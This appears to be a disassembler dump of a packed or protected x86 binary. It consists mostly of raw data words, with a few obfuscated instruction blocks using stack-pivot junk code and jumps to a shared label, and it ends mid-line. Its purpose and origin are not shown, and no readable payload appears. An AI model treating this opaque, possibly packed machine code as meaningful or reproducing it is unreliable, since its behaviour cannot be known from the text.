0D13F65EEh, 0D01DEA53h, 4913A672h, 0C6F53AA3h dd 0D4FEDBBAh, 0E4BF0E77h, 7367BF1h, 0CAE805A4h, 0B4EC046Dh dd 20987CC9h, 382D4Bh, 9F650000h, 420DEDF9h, 0E6B0909Ch dd 87543440h, 2CF5D5E1h, 70787A86h, 0A4B0561Fh, 4B57FDC4h dd 0EDF99F6Bh, 939F450Dh, 80002FFCh, 0B1D4FED8h, 3B566A6h dd 6B000000h, 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh dd 83E86532h, 3C8904ECh, 81E78924h, 4C7h, 4EF8300h, 5C243C87h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC832434h dd 241C8904h, 394ABA52h, 93BE0D99h, 1F8B70Bh, 24148BD6h dd 4C481h, 0EC830000h, 24248904h, 4240481h, 5B000000h dd 50F18951h, 8B8h, 89D80100h, 8B595808h, 8953241Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 24348B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- db 2Ah, 6Ch, 4Fh dd 398E86F0h, 23C802F6h, 494DB87Fh, 0C5030650h, 51E9C88Bh dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h dd 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h dd 9FD3EBAh, 0E900EB00h, 5B5h, 5A9E9h, 4B396800h, 5EE90650h dd 68FFFD35h, 6504C3Bh, 0FD3554E9h, 4CE168FFh, 4AE90650h dd 68FFFD35h, 6504DB6h, 0FD3540E9h, 4ED668FFh, 36E90650h dd 2FFFD35h, 0AA8A963Ch, 4D2D39DFh, 0F1D1DD83h, 92727E24h dd 151723C9h, 4FF5BE93h, 0F69C6343h, 983E0AEAh, 3EE4AC8Ch dd 9FCE9B32h, 0D4FED6E1h, 0A4054550h, 0DB4F20D0h, 4F208BF5h dd 20374ADBh, 0D69EDB4Fh, 0EFDB4F20h, 0DB4F2084h, 4F203341h dd 6738745Bh, 2AA9BCACh, 53D4F796h, 4673C81Fh, 0C6B91CF7h dd 2B8956FCh, 0E64FB85Eh, 1CD972A1h, 0F785138h, 0FAA06CCAh dd 0F9C11FEEh, 0C6158653h, 40099C68h, 0D53EE4ADh, 11C49F6Ch dd 8DC9165Bh, 0C2900393h, 29CF9BA1h, 3382EB5Ch, 0EA45E304h dd 9DB51E4Ah, 187AA8E3h, 2B567449h, 0AE000004h, 563642E8h dd 0F9D9E58Bh, 9D7D892Fh, 3E1E2AD0h, 0C1C3CF75h, 0FBA16A2Fh dd 0A2480FEFh, 44EAB696h, 0EA905838h, 4B7A47DEh, 0D4FED535h dd 75B1F1FCh, 0B3A07ADh, 0DB4F2068h, 38AB9985h, 0DEBECA70h dd 0CD2B7016h, 3B105F05h, 0A26F15DDh, 582F6BB2h, 93922BB8h dd 16A76498h, 90699ADCh, 7C6FD541h, 33020EB4h, 146309D5h dd 160794AEh, 3A543B0h, 75810000h, 0B3A07ADh, 0DB4F2068h dd 0FF27260h, 0FE95A147h, 0CBB5E431h, 66DB4F20h, 0F789B8FDh dd 3ADB4F20h, 63582D1h, 0DB4F207Ah, 23814EB7h, 0D6A5B157h dd 3B08AE78h, 551D7BCAh, 0CF07E2AFh, 77C4939Fh, 4F203848h dd 53E090DBh, 3389B763h, 9F451268h, 5AE20236h, 0B5097541h dd 9A400866h, 2A86FCDh, 0B1EB27F6h, 7B937214h, 3B3968B7h dd 5BDB4EEDh, 4621EE94h, 7D23F08Fh, 93A0CF14h, 8ED1381Ah dd 0F57D0D25h, 0DAAF92ACh, 329BCh, 44EAB000h, 0E78D5838h dd 8B31FBDBh, 2CD29F7Fh, 0D1774020h, 6C2DC3C5h, 11F1FDA3h dd 0B898A44Ah, 5A3A46ECh, 49E0EC92h, 0D4334D7Ch, 0F3FED4FEh dd 2BAD75B3h, 4F2084FCh, 0DB44ADDBh, 9C63C10Eh, 0E7C89C2Bh dd 0C42DA721h, 0D93786F7h, 409E6B11h, 0F9CD0879h, 0DCB61252h dd 0AC15BB86h, 4845EFA0h, 0F480DB4Eh, 0A2DB4E56h, 1B6835DBh dd 781F2BDh, 0B3727C4Eh, 0B1E02F98h, 0DB4E4BC3h, 16BC86E4h dd 83E9ECC7h, 4F880F3Eh, 2559D137h, 0BAF66C49h, 0E00F5488h dd 0D50121A0h, 0A7BF2891h, 92AC549Dh, 834C6A3Fh, 56000002h dd 0FEDEEA90h, 0A1818D33h, 452531D7h, 0E6C6D278h, 696B771Dh dd 0A3491247h, 4AF0B797h, 0EC925E3Eh, 923800E0h, 0F322EF86h dd 0D4FED48Dh, 755999A4h, 0A84E1AADh, 0BC016ADBh, 9FEE945Eh dd 551F7DCAh, 3A0260AFh, 71D7C794h, 0DDE521F3h, 0F0966035h dd 0AE7EB223h, 0B31160CCh, 6A3945EBh, 0ACA9732Eh, 0E59D6AE2h dd 0E74C7A71h, 0E04695FEh, 0B016E346h, 1FA75h, 9D02E00h dd 3A07AD76h, 229360C9h, 0D0A40BD3h, 0C6DB4F20h, 0B10F54FAh dd 0DBEF3EE4h, 0BC892FFBh, 1FEC925Eh, 689BC92Fh, 1BEAF69Ch dd 8350F6BDh, 0C55DC312h, 0F2B01642h, 54h, 0BA7F6FABh dd 0E8E615C0h, 0BE0D761Ch, 8FDDF8F6h, 4B341B4Ah, 0B41DD138h dd 0AC819E9Ch, 37552A92h, 1AEh, 0B3BF652Bh, 566208D3h dd 0FA06AC76h, 9BA74D1Ah, 404CF2BBh, 1CE5AA3Eh, 0C38A6A76h dd 6531111Dh, 0BD3B3BFh, 0F5C25965h, 0FED3BAC6h, 2C6C77D4h dd 0F502A875h, 208FF928h, 0EB38DB4Fh, 4F20C4BCh, 7218E2DBh dd 6934A5h, 0A875DEB1h, 0CCD87E4Ah, 397E24ECh, 0F9A88AFDh dd 1160BBAEh, 0F975613Ch, 9B410DEDh, 41E7AF8Fh, 0DE4F1674h dd 9CDC3643h, 1D29923Bh, 0F68AB986h, 0C1DB4ECDh, 24F19763h dd 3B9164B3h, 8DFECB71h, 0CD671948h, 61CADB4Eh, 3CD2BF8h dd 9CCB185Dh, 0DB4ECDE4h, 852BF74Dh, 0EAB9CD1Ch, 8D90D6AEh dd 184C2602h, 58C3E9A0h, 6C4796A2h, 61BF046Ch, 0EB27F49Ah dd 598968D6h, 0D9289101h, 49DCA604h, 9C0DDA80h, 0FE762733h dd 1BDB4E9Bh, 3E6DB2BAh, 0D137C7B5h, 60BE036Ch, 20002495h dd 5C52EE23h, 3C07E7F3h, 9F6BC996h, 89C6BA2Eh, 15E0C87Dh dd 0C831A26Fh, 9A03A972h, 2A86FCDh, 670DD735h, 5616BF9Ah dd 83C1E211h, 0D740CAEAh, 7B58A9BFh, 506E4398h, 8Eh, 0D3DF854Bh dd 768228F3h, 1A26CC96h, 0BBC76D3Ah, 606C12DBh, 3C054A5Eh dd 0E3AA8A96h, 8551313Dh, 2BF3D3DFh, 15E27985h, 0FED29AE6h dd 4C8C97D4h, 3A07AD75h, 0A16E14DCh, 8D57B43h, 6D3AE0AAh dd 0AF251F85h, 0E361C7h, 4D9238h, 4F20AFD1h, 0CA1982DBh dd 0BD89E7B6h, 0EFBC622Ah, 0D748157Eh, 42002288h, 10B7B016h dd 0F5000000h, 4F20CFA4h, 59FFC7DBh, 0BAD4Dh, 0A4630000h dd 0DB4F20D0h, 4C58FEC6h, 0E1EFF102h, 2, 0AF7518E0h, 16DE3C09h dd 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h dd 743E9C69h, 0D8A301CEh, 68E86532h, 7588h, 68242C89h dd 3CB6h db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edi mov edi, 6043461Dh mov ebx, 669390AAh sub ebx, edi mov edi, [esp] add esp, 4 push 49Dh mov [esp], esp add dword ptr [esp], 4 pop edx push esi mov esi, ebx push esi pop dword ptr [edx+8] pop esi mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_546EAD ; --------------------------------------------------------------------------- dd 84A1AEAh, 47BEAEB1h, 5462A8E7h, 89B8BB5Ch, 306504Fh dd 0E8D18BC5h, 7, 0C5EEA11Eh, 6607663Ch, 8B58CE8Bh, 0D0C081DFh dd 2B00006Bh, 148BF9FFh, 12EA8138h, 0F659C74h, 0EA81CEB7h dd 4ECA8FA0h, 0C281A1B7h, 65D87B62h, 89AED180h, 60503814h dd 810Fh, 12E90000h, 54000000h, 0A6D87971h, 0DC9593B2h dd 10402654h, 69B25458h, 525E611Ch, 815EE1B5h, 2B50DBEFh dd 75B9661Ah, 0D7C78116h, 0F1A2B50h, 0FF81F6BFh, 0FFFF94BCh dd 0FF9C850Fh, 10E8FFFFh, 90000000h, 0F21EE52Ch, 5E8F2BC3h dd 0A6761313h, 5ECEDA30h, 0D9E9h, 0BE1D2000h, 82C12C0Fh dd 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 91B8009Ch dd 0CD64F7F6h, 389382h, 3C0000h, 400000h, 940000h, 50000h dd 10000h, 0A280000h, 20000h, 20h dup(0) dd 823D0000h, 0A7E9011Dh, 6800001Fh, 65053B5h, 0FD2E34E9h dd 54F768FFh, 2AE90650h, 68FFFD2Eh, 65055A1h, 0FD2E20E9h dd 564668FFh, 16E90650h, 68FFFD2Eh, 6505728h, 0FD2E0CE9h dd 580168FFh, 2E90650h, 68FFFD2Eh, 65058B7h, 0FD2DF8E9h dd 594368FFh, 0EEE90650h, 68FFFD2Dh, 6505D58h, 0FD2DE4E9h dd 5DC268FFh, 0DAE90650h, 68FFFD2Dh, 6505F0Ch, 0FD2DD0E9h dd 61DB68FFh, 0C6E90650h, 68FFFD2Dh, 6506564h, 0FD2DBCE9h dd 68F868FFh, 0B2E90650h, 68FFFD2Dh, 6506A3Bh, 0FD2DA8E9h dd 6ACD68FFh, 9EE90650h, 68FFFD2Dh, 6506B1Fh, 0FD2D94E9h dd 6B8D68FFh, 8AE90650h, 68FFFD2Dh, 6506C77h, 0FD2D80E9h dd 6DB268FFh, 76E90650h, 68FFFD2Dh, 6506EA9h, 0FD2D6CE9h dd 6006CCFFh, 3A97454h, 0A74D17F7h, 48EEBB9Bh, 0ED935C3Ch dd 88C9DFE1h, 2D0D19BFh, 0D4B4C066h, 76566208h, 65FC08AEh dd 0CF176998h, 0F1AD4FEh, 7E24EC4Ah, 29F140B1h, 3A07AD75h dd 22C88FEDh, 3795E455h, 3784C96Fh, 4F207808h, 0BE642EDBh dd 5FB580F1h, 0B122EF95h, 16E5F948h, 0D9CD4ADAh, 9B681CF5h dd 4EB728F5h, 0BBB124FFh, 0D3844776h, 64CDD137h, 9C0C6897h dd 674D501h, 0BB83A35Eh, 0F553B65Bh, 878A729h, 29D501A4h dd 542357C0h, 6C640F37h, 28F35BAAh, 31000000h, 4A8FDDF8h dd 3820681Bh, 0BB83D9D1h, 0B0DFAC15h, 0D50220C4h, 0EB164EBCh dd 0B65B425Bh, 0E580h, 0FDB3900h, 75521A69h, 0DC3A07ADh dd 0EC286D13h, 86A8A8DBh, 60358405h, 0C7943A02h, 3A30A169h dd 94BB059Eh, 2FFE0A73h, 4CDB3E2h, 3064DB4Fh, 9F28745Bh dd 0F746AFD8h, 4E6E79C8h, 0BF652DDBh, 4DFD3E7Ah, 20562E66h dd 15DDBDD1h, 0F755A26Fh, 4BBC892Fh, 0CBB421FCh, 0AFF45D03h dd 9AE61562h, 97DB4EE8h, 0ECB5FA2Eh, 21F288Eh, 0E06B84B3h dd 3DA6D137h, 6B01D431h, 4B98F726h, 50B9CAF2h, 3EE4AD0Bh dd 38056332h, 4978C592h, 0CEB1DD37h, 0D92891FAh, 0F40CB27Bh dd 987CF17Ah, 0CC83A176h, 2A00001Ch, 0D2B2BE64h, 75556107h dd 19F905ABh, 0BA9AA64Ch, 3D3F4BF1h, 771DE6ABh, 1EC48B6Bh dd 0C0663212h, 660CD4B4h, 0C7F6C35Ah, 0D4FECDB9h, 752D6D78h dd 1AFA06ACh, 967AC52h, 3DE3AB3Eh, 479607D4h, 0DDF8E933h dd 0FC6287C4h, 9700F64Ah, 852BF452h, 3E9CE936h, 9001CE74h dd 70711241h, 956D137h, 170A6DAh, 6C358BD5h, 1F88F9C6h dd 70D5ABDAh, 0F35CD501h, 9B68D1A4h, 0DAEB124Eh, 4209AC74h dd 7CB0C4F3h, 81D0D501h, 0E6417945h, 3F8E359Ch, 0DC6691D3h dd 16B65B11h, 7845EBB8h, 0D750B807h, 8E000000h, 3A07AD75h dd 286D13DCh, 0A16D00CAh, 54BD2EFBh, 0BB612987h, 0C5147DEEh dd 956A3F0h, 4F20A6DAh, 0FB228BDBh, 0DB4F2085h, 0C5F443ACh dd 0DB4F267Ch, 40E8FF3Bh, 85CEA95Bh, 6A10D836h, 10B67E5Eh dd 0C1BAF643h, 0F89A222h, 7A5B3685h, 717EADF2h, 0A0D137A6h dd 7CE2B37h, 8FF12065h, 28CAF20Eh, 2D34F2ECh, 388EBC7Ch dd 0A578C76Dh, 15E2884Fh, 36E799C8h, 0E14ACEB1h, 6CCA0F78h dd 0B24510A3h, 0DDA43E9h, 19CB0AD1h, 87F0EAFEh, 6932121Eh dd 9B9ABC3h, 4E23987Ch, 1B8A30h, 0A66C00h, 0A34914F4h dd 47EDB797h, 0E88E5B3Bh, 8D33FCDCh, 28697F81h, 0CDADB95Fh dd 74546006h, 16F602A8h, 59CA84Eh, 0CC770938h, 0AFBAD4FEh dd 6AC756Fh, 0AC521AFAh, 288656A0h, 0C6AB95Fh, 84D19E44h dd 40E04348h, 480F914Eh, 0FB64D5A2h, 0BF987B6h, 0CF38DB4Fh dd 0B45A2280h, 2F0E45A8h, 5281C6A6h, 0D138320Dh, 0A337BE4h dd 99B1536Eh, 0FD422AABh, 0DFFD80C1h, 4594FC96h, 0A45AC9F8h dd 3EA70E5Ch, 2D3F9671h, 0B3C5B9E8h, 36C080Fh, 0F29860BEh dd 0F0B917E6h, 0BD0C7D4Ah, 0D9F1975Fh, 5B946D7Dh, 0E0547247h dd 1600001Ah, 0BE9EAA50h, 61414DF3h, 5E5F197h, 0A6869238h dd 292B37DDh, 6309D287h, 0AB07757h, 0AC521EFEh, 52F8C0A0h dd 0B3E2AF46h, 0D4FECBCDh, 86195964h, 0EDBA6028h, 7CF2D7Ch dd 1CB99461h, 8DF69C63h, 0D19DFB48h, 9EED5E2Bh, 3835786Fh dd 0DB2089D1h, 0EA5D399Fh, 7AC9CD45h, 0E9C80366h, 0C3B80ECh dd 0CAEA6653h, 0C4ED359Eh, 84027839h, 7E02317Eh, 0B30702BAh dd 0B520FB4Ah, 0E04372B7h, 21FCEBCFh, 0C510EBB8h, 4B3362A7h dd 0E6F69EDEh, 0B922C890h, 0A84E1674h, 4EF4BC9Ch, 7061236h dd 0A7C59A74h, 1A3Bh, 434FF5BBh, 0E6F29863h, 8A963C06h dd 2B37DDAAh, 0D0DC824Bh, 0AC75DACEh, 531AFA06h, 0F5C1A1ADh dd 9B63434Fh, 8552E9F5h, 0FECB2A56h, 0BCFC07D4h, 0C207AD75h dd 203A4675h, 248EDB4Fh, 67311B32h, 9AE9521Dh, 81EBEAC5h dd 0C260D3Ch, 92FBD138h, 8127EF4Dh, 669AD94Dh, 3523AD8h dd 37E420EFh, 5844ECF5h, 4E9A7BCAh, 0C3086471h, 0EB17CB94h dd 854EACCAh, 0C9ACD403h, 1C85CEB4h, 289164B3h, 839BB7E0h dd 3CB2FAh, 39044139h, 2155C693h, 4594699Ah, 0BC016B6Ah dd 0F50F968Dh, 0BD026B27h, 0EF73181h, 8064E6DBh, 71A0A38Ah dd 1D6258Eh, 0E38956B4h, 7B56A516h, 4E13475Ah, 4588050Ch dd 166897DCh, 1B21A75Ch, 470F6DB2h, 0EDB595A1h, 1EEB915Ah dd 0DA2C44ADh, 86213F84h, 195993B1h, 0D79D0000h, 7A452531h dd 1EE8C8D4h, 0BF8C6C78h, 642D0D19h, 38B0B2BEh, 0DCE88E57h dd 838F35FCh, 2531D7A3h, 0CBD77D45h, 48386734h, 0E9D4FEC9h dd 0AD759EDEh, 0F00433Ch, 4E98A0E0h, 0F42891DBh, 0DA43D3ABh dd 0C9A3320Dh, 0EDFB3784h, 387856D9h, 0C7565C07h, 8BF46636h dd 48A0D3Ch, 0EE57D138h, 5A377FE2h, 9AE6157Bh, 97D501FCh dd 5180C52Eh, 0CAEB230Eh, 9327AE3h, 0D1988A61h, 0EA2F3D98h dd 5B3668BBh, 633099C7h, 0DA1F4D88h, 0E45D3ABh, 0B0F55EC1h dd 15E28852h, 0BB0855A4h, 0ABB9B87Fh, 5F00493Fh, 0CCD9C4DBh dd 7374A811h, 0F41ED028h, 773F9DECh, 642E8CD1h, 8C5B6FBEh dd 2DCF3250h, 0E413565Fh, 0C4D7E89Ch, 74C32C95h, 90A84E16h dd 82968B4Ch, 80ED0BE0h, 76000018h, 1EFE0AB0h, 0C1A1AD53h dd 654551F7h, 6E6F298h, 898B973Dh, 0C3693267h, 6A10D7B7h dd 0CB27E5Eh, 0B2582000h, 13420FA6h, 0D4FEC86Dh, 7579B9C4h dd 5F3A07ADh, 82B1F676h, 0D1384C21h, 86B77E0h, 85E7EECDh dd 0CD640440h, 2E0AC0DFh, 0FC6392DFh, 0F5CAEAC4h, 0C1FD448Ch dd 53D76368h, 0B583B71Fh, 5C98AEF6h, 7F3463B2h, 9A9819C6h dd 0BDEC313Bh, 30D4EC66h, 0DBA5D421h, 0ED349EC2h, 8790FDD3h dd 339C67B9h, 0DBA811E4h, 0C167308Eh, 593483F4h, 7CABF07Ch dd 2A878B02h, 0E88E57B5h, 885BAA1Bh, 0B47CDA1Fh, 5A22020Eh dd 0BB569CB4h, 0DE2381Fh, 17CAEFh, 0C0662C00h, 6309D4B4h dd 7AD7757h, 0A84E1BFBh, 4DF3BC9Ch, 0E8A93F41h, 8D6D791Fh dd 341420C6h, 0D6B6C268h, 0C55C680Eh, 0C8B7C9F8h, 6F7AD4FEh dd 3CAD752Fh, 59493EF6h, 6F3B9111h, 0B89360C9h, 0DB0A4F1Dh dd 0D13EFA81h, 64C20770h, 39EAF69Ch, 0D4FE59D7h, 0F8046872h dd 9EAA5018h, 93D89441h, 0EEA8F864h, 4B90F9CAh, 32D8A0FEh dd 47A5F465h, 35BE0B7Ch, 932C5BC1h, 733E1E2Ah, 0DAA200CDh dd 0D7EC1C34h, 83589840h, 173E65h, 4CF2B800h, 0EF956040h dd 933903E3h, 34DAA787h, 0D97F4828h, 7425CBCDh, 19F905ABh dd 0C0A0AC52h, 62424EF4h, 51E8F49Ah, 0C82B5584h, 0FB06D4FEh dd 8FDDF8BBh, 71411B4Ah dd 47B0D13Fh, 0FA86B502h, 37D4FECFh, 0AB078CEh, 48106EBBh dd 7643E9B5h, 0BF18603Ah, 5EC72D23h, 319A4008h, 10709FECh dd 21D4FEA6h, 0DC20A7EDh, 0BC2546C5h, 0DEFC596Dh, 0A6045196h dd 0FB6C39DFh, 0B8077DACh, 0D13AD4FEh, 0C0662E8Ch, 5E3382F3h dd 0FEB7442Fh, 0E58B52D4h, 4CF2BA18h, 0BC892FF6h, 458BB9A5h dd 652C8AD9h, 400470BFh, 46578D95h, 4D2AB6h, 0F8680000h dd 0E7458AE2h, 0DD2A791Fh, 4F20CEAEh, 2DFA63DBh, 4F2076FEh dd 0A89C0ADBh, 163E152Dh, 0B87FDDB0h, 245BC312h, 14000000h dd 65F5DAD8h, 0E83E9DCCh, 3AAB781Eh, 0CFA423EBh, 4ADB4F20h dd 6D9CE18Bh, 0D1384D9Ah, 0E48A51A7h, 0F8256F7Bh, 1B4A8FDDh dd 0D13832F0h, 0CD2BF861h, 5AB7205h, 525EC738h, 0BF04AA72h dd 0D4186B83h, 76C54065h, 0D47A43A1h, 21239107h, 4450F6BEh dd 0B1F69C64h, 15E28853h, 0A58055A4h, 36437130h, 274AE700h dd 0DF2C79BEh, 1E3D0B0h, 0DE11F8D5h, 0CB2C3F6Eh, 23529700h dd 0D5019E5Dh, 0ED1C6BD4h, 0CAEACE1Ah, 0D2B2BE27h, 2759880Ah dd 0ACEB470h, 3C6B38A1h, 366C17E5h, 4512B881h, 0C38C1FE7h dd 9AE7B41Dh, 7DC8156Bh, 9AB31C56h, 0DA488EB6h, 3D05F86Ch dd 0E3AB8B97h, 74DD8350h, 0D67C49A7h, 3BE1AB09h, 0D445106Eh dd 2C7E25E1h, 0A875DEDCh, 4A80C432h, 0F4174D31h, 9A7A862Ch dd 845F2CD2h, 0A7D61B51h, 4C668E1Ch, 512F5EABh, 0E050304Fh dd 0EC552877h, 541E5AA7h, 0CD18EB3Ch, 3D91EF16h, 4E155030h dd 9F6ADBA8h, 0F3D3E736h, 67AA92Bh, 2B50303Eh, 2E8C59C2h dd 0BC87E567h, 0B1D84916h, 50303DCFh, 4B90F962h, 0C48E21EDh dd 77E8B51Eh, 6FDD5328h, 0C6E723F5h, 0C7F5791Fh, 42760A39h dd 52BB5030h, 743C9AE9h, 56E14E1h, 0A03773C0h, 748F839Ah dd 0CEC94BBh, 0DC455031h, 0D199798Dh, 1DAAE62Bh, 971A66F5h dd 0A3F0C514h, 852BF856h, 602047B8h, 0D1503031h, 973E1968h dd 0D66190D5h, 4B46195Ch, 0D6874D17h, 8AF38E17h, 30D69E7Eh dd 1E403463h, 0D09D99E3h, 0B504AA72h, 20E81B49h, 0C28E6E7Ah dd 28F14F1Ch, 7EC5B582h, 5EAD5320h, 0C38F72F2h, 6531111Dh dd 47A5F2BFh, 2785D47Ah, 71E7B45Ah, 62AF4103h, 0E31E4D33h dd 477BE439h, 3CA970B6h, 217FCE4Bh, 0C3A3AF55h, 0F59B64F7h dd 814EB728h, 0F83D2FA6h, 0DE844DABh, 0F6AB608Fh, 0DF2C2FCBh dd 95D2D0B0h, 0A9F86133h, 0CA286DD6h, 1B8C59FFh, 453F9C5h dd 640AD12Fh, 0DC6F3997h, 35026B11h, 0BC32321Eh, 6285BFA3h dd 4DABF096h, 7F25EE81h, 89D84916h, 266AA675h, 42285DC6h dd 0AD75D322h, 5BF5083Ch, 0CF3849D2h, 36DCA402h, 0AC3F0B69h dd 5D23BE1h, 6A37DDA7h, 0F7FD6753h, 48BBA90Fh, 0E6CEDA80h dd 17AF265Ch, 3B7Bh, 0A975B900h, 9882BE03h, 0F59B65EBh dd 3E83B728h, 0C7B8EC4Ch, 0B8BA9C06h, 310CE130h, 5483C8A4h dd 0D13764AFh, 4E1D2992h, 0AED201h, 1A83D501h, 33ADCBh dd 80DE0000h, 0F6BE0DB3h, 0BE03A975h, 22EF9560h, 0B28D62B1h dd 423E6D23h, 0EFDB4F20h, 7AD81D86h, 95C409AFh, 0DB4F20EBh dd 418EDD46h, 38537512h, 5763CCD1h, 0D8B7F20Dh, 12B882FDh dd 2A3564A9h, 0C7D13847h, 93ED165Eh, 96C13510h, 8AE82D3Fh dd 0DF501DC3h, 98F64390h, 0AAD928CEh, 0D637F879h, 0C2683288h dd 68F4D78Eh, 9902CC0Ch, 57217FCCh, 433D6CB1h, 0EEDA015Ch dd 7A5B3685h, 7EADF2h, 0B7CFEA96h, 97E68C59h, 0C9165BC4h dd 0ADFCA26Bh, 4E16874Fh, 119AD526h, 1FFF0B74h, 6199B157h dd 0CB937B26h, 1329D8F6h, 7CD0000h, 0AA755561h, 4E18F804h dd 0EFBC9CA8h, 945D3D49h, 0C8E0E2EEh, 0C18BE87h, 0B3BF652Ch dd 556107D3h, 0FB07AD75h, 18689764h, 19D4FEC4h, 0DCA4CE0Eh dd 4DDB4F21h, 892FF788h, 9FACDB20h, 0B2D13837h, 0DAA60449h dd 846EBF69h, 5A89FCA5h, 0D5016D26h, 0D039A20Bh, 7218E4C4h dd 0D97F47A5h, 0AC0743C1h, 0F614E992h, 12BFh, 0BFCB7137h dd 626E14DFh, 612B882h, 0A7B35926h, 4C58FEC7h, 28F1A64Ah dd 0CF967682h, 713D1D29h, 17DFBFCBh, 1CE6571h, 0FEC3AED2h dd 387883D4h, 0EAC4DDF8h, 8D835551h, 8EBD026Bh, 0D1373DBDh dd 0AAE62B94h, 3363351Ch, 1B68B70Fh, 0A981F2BDh, 0CEF5961Ch dd 6FABF059h, 0FF9BE3C8h, 889CEB79h, 6A37DDA8h, 7C72E11Dh dd 0C2416811h, 0A74D1573h, 9AF7CDAh, 6C12DE3Ch, 0D278419Fh dd 12D88CF2h, 0BC2F15F9h, 40406FF1h, 0F1D500D3h, 0B0131F88h dd 1656816Eh, 5AB73D1h, 430E66B6h, 0D2A1D09Dh, 1BD500D3h dd 85E3352Fh, 0D54613B9h, 0B75D2886h, 26103672h, 1C3B0E6Fh dd 0ED9B9CDh, 15C09B68h, 0EDE31257h, 64CAF0FCh, 9058B6FBh dd 3AACC31Fh, 4895C96Fh, 2D39A2C2h, 9ADF854Dh, 2A6EF95Eh dd 47964D94h, 2E3E9772h, 0BE1AADE9h, 56572958h, 71DACEB0h dd 74EF0F3Dh, 82312CEEh, 0D4238CAEh, 7A455887h, 43ACC4A0h dd 32D8A0FEh, 0D87E4626h, 9360BE0Bh, 0C18E3400h, 0BD98E750h dd 511A7818h, 466DDEABh, 0C85FD83Ah, 0E0258EF7h, 48FCD6B1h dd 4D156BBEh, 4D3362A7h, 0E4C212B4h, 0ECFA127Bh, 188DDDDFh dd 11752543h, 0BB810000h, 5E290915h, 2CCACB8h, 0A370505Ch dd 4811F1FDh, 1C9496A2h, 0C0CC723Bh, 677319E0h, 915BB87h dd 0AFBB6129h, 641C4B18h, 0CDD4FEC1h, 0E3A482C2h, 0D3DB4F20h dd 86556107h, 69B85E28h, 0F05A478Eh, 23668F47h, 0C9165BC4h dd 2BF89E6Bh, 693C6BBAh, 98D13F0Ch, 0C28CEA2Fh, 86C6101Ch dd 17DD284Ah, 0D42382C7h, 961DD46Eh, 18A03B0h, 0F8410000h dd 86CE8EDEh, 4F211C57h, 0F3E8BDBh, 0DB4F2071h, 360157C0h dd 352C390h, 0A74D16F4h, 0BE867E3Eh, 760A3986h, 0BBDB4F20h dd 0B7970352h, 0DC030D49h, 2BF4C80h, 0E0F8EBB3h, 310F4B90h dd 0F7773279h, 0CB34DAA6h, 83CDB47Ch, 0D191DFF8h, 2886C183h dd 925FB55Bh, 3F379DECh, 0BCB31636h, 72h, 0A94F1775h, 541C6BDCh dd 0DBCF4A86h, 0E2E70C50h, 7420B893h, 7CA34916h, 0DB4E6204h dd 9B5BC42Dh, 0DF612886h, 4F20D0B0h, 8FF861DBh, 0B50251C2h dd 4F20ED86h, 0B07EBADBh, 0F71D8FDBh, 66CFA2F1h, 0A3986A6h dd 0DB4F2076h, 0B60352BBh, 5AB75EEh, 0F19762C0h, 0D8A8D724h dd 59DB4F20h, 703887F0h, 760A3986h, 0BBDB4F20h, 0ECB40352h dd 26B5h, 0E0F86B00h, 5786D090h, 0DB4F211Ch, 8618D8C9h dd 774A86BEh, 888CE812h, 4754FCB7h, 8DF6C938h, 7016E03Eh dd 86BC84B0h, 0ECB95F28h, 0ACC62C7Bh, 66B31636h, 16AEF82Ah dd 4E3F99E7h, 0FB2F98DEh, 0D0989269h, 83EC5D2Ah, 42CC34h dd 0F80A0000h, 68D9A4DFh, 40E8D93Bh, 0FC65CEDEh, 1C57863Ch dd 5DB4F21h, 3986DC9Ch, 9F6C12DBh, 1CE7441h, 10D82790h dd 65A04A86h, 581FF29Fh, 3AE0AB09h, 29CF97F5h, 0D49CEB5Ch dd 23B5BC84h, 6B000000h, 0D191DFF8h, 211C5786h, 0D8C9DB4Fh dd 75BE8618h, 844404AAh, 0C5BBEA37h, 6CDB4F20h, 3DA64C16h dd 64B526EEh, 6BFFFFFEh, 4A8FDDF8h, 3F71411Bh, 247B0D1h dd 0F136DCA4h, 0C1C962B5h, 3685F1C5h, 6115C522h, 8193ED1Ch dd 359ED4FEh, 81453968h, 0DD4BD4FEh, 0A1EA7C67h, 2A11B646h dd 4F000000h, 4F20D0A4h, 58FEC6DBh, 20D89B4Ch, 9441DB4Fh dd 935793D8h, 0C6DBAC72h, 0A8D72473h, 0D13770A3h, 993945AEh dd 0A5h, 8FDDF84Fh, 0D89FFD4Ah, 67B4E332h, 8AD1382Dh, 0B27EDC21h dd 5420000Ch, 0CF06E1AEh, 2F29589Dh, 0B2CAF266h, 0DAA60449h dd 7C482834h, 0A72E09D6h, 0C4C6BAE9h, 26BCEB1h, 0D6255499h dd 5BC4A214h, 7499E716h, 2F98C861h, 5B2381C6h, 7CDAA9B5h dd 5EBC0BB1h, 43E32596h, 410EB47Eh, 0E74C9CD0h, 32DC8EC2h dd 87368363h, 0E1F2061Eh, 451A860Ch, 0EA627h, 0E48A5000h dd 872DF8D8h, 2BD19B7Bh, 0CC723F1Fh, 7117E0C0h, 0C4D6365h dd 0B1919D43h, 583844EAh, 0FADAE68Ch, 0E9808C32h, 0BF93ED1Ch dd 939ED4FEh, 7AD7553h, 6E14DC3Ah, 0D17743A1h, 37DDA604h dd 281C826Ah, 